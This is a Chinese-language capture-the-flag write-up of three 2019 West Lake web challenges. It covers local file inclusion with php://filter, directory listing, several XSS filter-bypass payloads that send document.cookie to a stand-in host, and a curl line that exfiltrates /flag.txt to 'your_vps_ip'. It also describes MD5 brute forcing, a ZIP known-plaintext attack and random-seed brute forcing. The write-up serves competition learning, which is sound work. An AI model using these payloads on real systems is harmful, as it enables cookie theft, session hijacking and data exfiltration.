2019 西湖论剑 Web 复现

蒟蒻的复现记录~

babyt3

babyt3(Ubuntu 16.04 php7.0) 61.164.47.198:10000

简单探测存在以下文件:index.php、dir.php、/.DS_Store。

include $_GET['file']猜测存在文件包含~ 尝试PHP伪协议读取源代码:

http://61.164.47.198:10000/?file=php://filter/read=convert.base64-encode/resource=index.php
  • index.php
<?php
$a = @$_GET['file'];
if (!$a) {
	$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
	die('nonono');
}
include $a;
?>

<!--hint: ZGlyLnBocA== --> //-> dir.php
  • dir.php
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

借助dir.php可以进行目录遍历,查找flag的位置。

//http://61.164.47.198:10000/dir.php?dir=/
array(25) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(16) "ffffflag_1s_Her4" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(7) "my_init" [14]=> string(10) "my_service" [15]=> string(3) "opt" [16]=> string(4) "proc" [17]=> string(4) "root" [18]=> string(3) "run" [19]=> string(4) "sbin" [20]=> string(3) "srv" [21]=> string(3) "sys" [22]=> string(3) "tmp" [23]=> string(3) "usr" [24]=> string(3) "var" }

确定flag位于**/ffffflag_1s_Her4**,利用文件包含进行读取.

//http://61.164.47.198:10000/?file=php://filter/read=convert.base64-encode/resource=/ffffflag_1s_Her4
ZmxhZ3s4ZGMyNWZkMjFjNTI5NThmNzc3Y2U5MjQwOWUyODAyYX0=
//flag{8dc25fd21c52958f777ce92409e2802a}

Breakout

任意账号密码均可登录,个人中心页面如下:

  • message页面可进行留言,经探测对script等关键字进行了过滤,替换为:)
  • report页面用于提交BUG,管理员会加上用户的token去登陆查验。
  • exec页面可执行命令,不过需要以管理员的身份(token)。

这样一来攻击思路就很明显了,绕过XSS过滤,在message构造包含恶意脚本的留言页面提交至report,进而获取管理员token用于获取在exec以管理员的身份执行命令获取flag。

XSS绕过

  • Payload1

在test.html中写入script>document.location="http://example.com/"+btoa(document.cookie)

<link rel=import href=//example.com/test.html other=
  • Payload2

HTML实体编码绕过关键字过滤, HTML标签内的实体编码会自动解码。

1.进制编码:&#xH;(16进制格式)、 (10进制形式),最后的分号可以不要。
2.HTML实体编码。

<iframe
src="javascrip&#x74;:location.href='vps_ip'+escape(top.document.cookie)">
</iframe>
  • Payload3

换行符绕过

<img src=x onerror
=prompt(1)>

MD5截断比较

这里采用牺牲空间换去时间的方法,生成大量MD5值来进行匹配符合的条目。

//生成脚本
# -*- coding: utf-8 -*-
import hashlib
sum = []
j = 0
f = open("gen_md5.txt", "a")
for i in xrange(1000000000):
    tmp = (hashlib.md5(str(i)).hexdigest(),i)
    sum.append(tmp)
    j = j+1
    if(j==10000000):
        for i in sum:
            f.write("{0} {1}".format(i,"\n"))
        j=0
        sum = []
f.close()
//检索脚本
# -*- coding: utf-8 -*-
f = open("gen_md5.txt", "r")
for line in f.readlines():
    if line[2:8] == 'c99dc2':
        print(line)
        break

提交获取管理员cookie:

PHPSESSID=slsqh6lgqgtgkhfhitj327r7p7;token=ISMvKXpXpadDiUoOSoAfww==; [email protected]@!_admin_admin_hhhhh

exec

使用管理员cookie登录后可执行命令,但没有回显,尝试dns解析带出数据。

curl http:your_vps_ip:port/?$(cat /flag.txt|base64)
//ZmxhZ3tmYTUxMzlwYWU4MDhjNzA0ODVkZDVmMzAzMzcwMjZkNnO=
//flag{fa5139pae808c70485dd5f30337026d6}

猜猜flag是什么

探测到.DS_Store文件,进行还原:

访问/e10adc3949ba59abbe56e057f20f883e/:

在此目录下发现.git泄露,使用Githack进行还原。

加密压缩包BackupForMySite.zip中包含index.phplengzhu.jpg以及文件hint。已知index.phplengzhu.jpg文件,我们可以对压缩包进行明文攻击。

简单来说,ZIP明文攻击就是利用已知文件找加密密钥,利用密钥来解锁其它加密文件,因为ZIP压缩包里的所有文件都是使用同一个加密密钥来加密的。

压缩文件index.phplengzhu.jpg作为已知明文,使用APCHPR进行明文攻击。

成功获取密匙,解压得到hint:

code is 9faedd5999937171912159d28b219d86
well ok ur good...By the way, flag saved in flag/seed.txt 

提交code~

http://61.164.47.198:10002/?code=9faedd5999937171912159d28b219d86

可知flag在flag/seed.txt目录下,code=334579419是以seed为种子的播种随机数,可由code进行种子爆破得到seed~

http://61.164.47.198:10002/flag/814073.txt获取到flag{0730b6193000e9334b12cf7c95fbc736}。